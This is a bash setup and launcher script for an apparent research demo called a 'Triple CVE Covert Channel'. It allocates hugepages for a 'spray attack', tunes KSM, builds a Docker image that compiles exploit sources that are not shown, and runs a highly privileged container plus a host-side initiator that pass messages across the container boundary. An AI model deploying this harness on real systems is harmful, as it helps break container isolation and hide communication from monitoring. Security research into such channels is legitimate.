#!/bin/bash
#
# run_triple_cve.sh - Setup and run Triple CVE Covert Channel demo
#
# Usage:
#   ./run_triple_cve.sh setup       - Build image and setup environment
#   ./run_triple_cve.sh responder   - Start responder (Docker container)
#   ./run_triple_cve.sh initiator MSG - Start initiator (Host) with message
#   ./run_triple_cve.sh cleanup     - Remove containers
#

set -e

SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
IMAGE_NAME="triple_cve"
CONTAINER_NAME="triple_cve_responder"
NETWORK_NAME="triple_cve_net"

# Network config
HOST_IP="172.30.0.1"
CONTAINER_IP="172.30.0.2"
SUBNET="172.30.0.0/24"

# Colors
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'

log_info() { echo -e "${GREEN}[+]${NC} $1"; }
log_warn() { echo -e "${YELLOW}[!]${NC} $1"; }
log_error() { echo -e "${RED}[-]${NC} $1"; }

setup() {
    log_info "Setting up Triple CVE demo environment..."
    
    # 1. Allocate ENOUGH hugepages for spraying (CVE-2024-49882 requires exhausting zeroed pool)
    log_info "Allocating hugepages for CVE-2024-49882 spray attack..."
    echo 200 | sudo tee /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages > /dev/null
    HUGEPAGES=$(cat /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages)
    log_info "Hugepages allocated: $HUGEPAGES (need ~100+ for spray attack)"
    
    # 2. Enable KSM
    log_info "Enabling KSM..."
    echo 1 | sudo tee /sys/kernel/mm/ksm/run > /dev/null
    echo 10 | sudo tee /sys/kernel/mm/ksm/sleep_millisecs > /dev/null
    log_info "KSM enabled with 10ms scan interval"
    
    # 3. Create Docker network
    log_info "Creating Docker network..."
    docker network rm $NETWORK_NAME 2>/dev/null || true
    docker network create \
        --driver bridge \
        --subnet=$SUBNET \
        --gateway=$HOST_IP \
        $NETWORK_NAME
    log_info "Network $NETWORK_NAME created ($SUBNET)"
    
    # 4. Build Docker image
    log_info "Building Docker image..."
    
    cat > /tmp/Dockerfile.triple_cve << 'EOF'
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y \
    build-essential \
    gcc \
    make \
    net-tools \
    iputils-ping \
    iproute2 \
    tcpdump \
    libcap2-bin \
    && rm -rf /var/lib/apt/lists/*

WORKDIR /exploit

COPY *.c Makefile ./

RUN make clean && make

CMD ["/bin/bash"]
EOF
    
    # Copy files
    cp "$SCRIPT_DIR"/*.c "$SCRIPT_DIR"/Makefile /tmp/ 2>/dev/null || true
    
    # Build
    docker build -t $IMAGE_NAME -f /tmp/Dockerfile.triple_cve /tmp/
    
    log_info "Setup complete!"
    echo ""
    echo "To run the demo:"
    echo "  Terminal 1 (Responder): $0 responder"
    echo "  Terminal 2 (Initiator): $0 initiator 'SECRET MESSAGE'"
}

start_responder() {
    log_info "Starting responder container..."
    
    # Remove existing
    docker rm -f $CONTAINER_NAME 2>/dev/null || true
    
    # Start container with required privileges and shared hugepages
    # --ipc=host shares the IPC namespace including hugepages
    # --device=/dev/udmabuf required for CVE-2024-49882
    docker run -it --rm \
        --name $CONTAINER_NAME \
        --network $NETWORK_NAME \
        --ip $CONTAINER_IP \
        --privileged \
        --ipc=host \
        --pid=host \
        --device=/dev/udmabuf \
        --cap-add=SYS_ADMIN \
        --cap-add=IPC_LOCK \
        --cap-add=NET_ADMIN \
        -v /sys/kernel/mm:/sys/kernel/mm:rw \
        -v /dev/hugepages:/dev/hugepages:rw \
        -v /sys/fs/cgroup:/sys/fs/cgroup:rw \
        --shm-size=256m \
        $IMAGE_NAME \
        /exploit/triple_cve_channel_v2 -r -p $HOST_IP -v
}

start_initiator() {
    local MESSAGE="$1"
    
    if [ -z "$MESSAGE" ]; then
        MESSAGE="Hello from Host!"
    fi
    
    log_info "Starting initiator on host..."
    log_info "Target: $CONTAINER_IP"
    log_info "Message: $MESSAGE"
    
    # Run on host
    sudo "$SCRIPT_DIR/triple_cve_channel_v2" -i -p $CONTAINER_IP -m "$MESSAGE" -v
}

run_interactive() {
    log_info "Starting interactive container..."
    
    docker rm -f $CONTAINER_NAME 2>/dev/null || true
    
    docker run -it --rm \
        --name $CONTAINER_NAME \
        --network $NETWORK_NAME \
        --ip $CONTAINER_IP \
        --privileged \
        --ipc=host \
        --device=/dev/udmabuf \
        --cap-add=SYS_ADMIN \
        --cap-add=IPC_LOCK \
        --cap-add=NET_ADMIN \
        -v /sys/kernel/mm:/sys/kernel/mm:rw \
        -v /dev/hugepages:/dev/hugepages:rw \
        $IMAGE_NAME \
        /bin/bash
}

cleanup() {
    log_info "Cleaning up..."
    docker rm -f $CONTAINER_NAME 2>/dev/null || true
    docker network rm $NETWORK_NAME 2>/dev/null || true
    log_info "Cleanup complete"
}

status() {
    echo "=== Triple CVE Status ==="
    echo ""
    echo "Hugepages:"
    cat /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages 2>/dev/null || echo "N/A"
    echo ""
    echo "KSM:"
    echo "  Run: $(cat /sys/kernel/mm/ksm/run 2>/dev/null || echo N/A)"
    echo "  Sleep: $(cat /sys/kernel/mm/ksm/sleep_millisecs 2>/dev/null || echo N/A) ms"
    echo "  Pages shared: $(cat /sys/kernel/mm/ksm/pages_shared 2>/dev/null || echo N/A)"
    echo "  Pages sharing: $(cat /sys/kernel/mm/ksm/pages_sharing 2>/dev/null || echo N/A)"
    echo ""
    echo "Docker:"
    docker ps --filter "name=$CONTAINER_NAME" 2>/dev/null || echo "Docker not available"
    echo ""
    echo "Network:"
    docker network inspect $NETWORK_NAME 2>/dev/null | grep -A5 "IPAM" || echo "Network not found"
}

case "$1" in
    setup)
        setup
        ;;
    responder)
        start_responder
        ;;
    initiator)
        start_initiator "$2"
        ;;
    shell|interactive)
        run_interactive
        ;;
    cleanup)
        cleanup
        ;;
    status)
        status
        ;;
    *)
        echo "╔════════════════════════════════════════════════════════════════╗"
        echo "║  Triple CVE Covert Channel Demo                                ║"
        echo "║  CVE-2023-1206 + CVE-2025-40040 + CVE-2024-49882               ║"
        echo "╚════════════════════════════════════════════════════════════════╝"
        echo ""
        echo "Usage: $0 <command> [args]"
        echo ""
        echo "Commands:"
        echo "  setup              Setup environment (hugepages, KSM, Docker)"
        echo "  responder          Start responder in Docker container"
        echo "  initiator [MSG]    Start initiator on host with message"
        echo "  shell              Interactive shell in container"
        echo "  status             Show status"
        echo "  cleanup            Remove containers and network"
        echo ""
        echo "Demo flow:"
        echo "  1. $0 setup"
        echo "  2. Terminal 1: $0 responder"
        echo "  3. Terminal 2: $0 initiator 'TOP SECRET MESSAGE'"
        echo ""
        echo "Architecture:"
        echo "  ┌─────────────────────────────────────────────────────┐"
        echo "  │ HOST (172.30.0.1)          DOCKER (172.30.0.2)      │"
        echo "  │                                                     │"
        echo "  │ 1. CVE-2023-1206 ─────────────────► Trigger         │"
        echo "  │                                                     │"
        echo "  │ 2. CVE-2025-40040 ◄═══ KSM ═══► Key Agreement      │"
        echo "  │                                                     │"
        echo "  │ 3. CVE-2024-49882 ─────────────────► Encrypted Msg  │"
        echo "  │    CVE-2024-49882 ◄───────────────── Reply          │"
        echo "  └─────────────────────────────────────────────────────┘"
        ;;
esac
